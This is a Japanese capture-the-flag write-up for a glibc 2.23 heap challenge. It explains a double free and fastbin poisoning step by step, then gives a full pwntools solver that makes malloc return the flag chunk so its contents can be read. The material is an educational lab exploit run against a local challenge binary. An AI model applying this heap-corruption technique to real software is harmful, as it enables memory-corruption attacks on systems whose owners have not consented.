方針

公式writeupでは、Use After Freeでやっているのですが、 Double Free Tutorial!と出てくるので、double freeとfastbin unlink attackをやります。

注意点

最初に与えられるflagのアドレスから0x10を引かなければならない。

char *flag;
:
void setup(void)
{
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  FILE *f = fopen("flag.txt", "r");
  flag = malloc(0x50);
  if (f == NULL) {
    puts("[WARN] Please report this bug to the author.");
    exit(1);
  }
  fread(flag, 1, 0x50, f);
  fclose(f);
  malloc(0x100); // assure no leak by freed FILE buffer
}

与えられたアドレスに直接繋ぐと、Oops! You forgot the overhead...?と教えてくれる。 flagは、mallocで確保されているので、本来のチャンクより+0x10のアドレスが返ってきている。malloc.c L1126

fastbin に addr_flagを繋ぐ

あるチャンクに対して共有状態を作って、そのチャンクが返ってくるときにaddr_flagが返ってくるようにします。

mallocしてあるチャンクをfreeします。 glibc-2.23だからtcacheはないので、freeするとfastbinに繋がります。

事前準備

Aをfree

malloc("A")
malloc("B")
free("A")
fastbin: A -> NULL

Bをfree

fastbin: B -> A -> NULL

double free A

ここで、既にfreeしてあるAを再びfreeするので、double freeが起きます。

fastbin: A -> B -> A -> NULL

実体として、fastbinにつながっている2つのAは同じものです。

Aの領域を確保してアドレスを書き込む

malloc_A

fastbin: B -> A -> NULL

mallocされた領域から見たAaddr_flagを書き込む(図の(1))と、 fastbinに繋がっているchunkからはfdに書き込まれたように見える。

次のようになる。(図の(2))

fastbin: B -> A -> addr_flag -> NULL

あとは、mallocを繰り返して、このaddr_flagが返ってきた領域をreadすればいい。

Solver

from pwn import *

file = "./chall"
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

io = process(file)

def malloc(s: str):
    io.sendlineafter("> ", "1")
    io.sendlineafter(": ", s)

def free(s: str):
    io.sendlineafter("> ", "2")
    io.sendlineafter(": ", s)

def read(s: str):
    io.sendlineafter("> ", "3")
    io.sendlineafter(": ", s)

def write(s: str, addr: hex):
    io.sendlineafter("> ", "4")
    io.sendlineafter(": ", s)
    io.sendlineafter("> ", addr)

io.recvuntil("located at ")
addr_flag = int(io.recvuntil(".").rstrip(b".\n"), 16)

malloc("A")
malloc("B")
free("A") # fastbin: A -> NULL
free("B") # fastbin: B -> A -> NULL
free("A") # fastbin: A -> B -> A -> NULL
malloc("A") # fastbin: B -> A -> NULL
write("A", p64(addr_flag - 0x10)) # fd(A) = addr_flag
# fastbin: B -> A -> addr_flag -> NULL
malloc("B") # fastbin: A -> addr_flag -> NULL
malloc("C") # fastbin: addr_flag -> NULL
malloc("A") # A = addr_flag
read("A") # read(addr_flag)


io.interactive()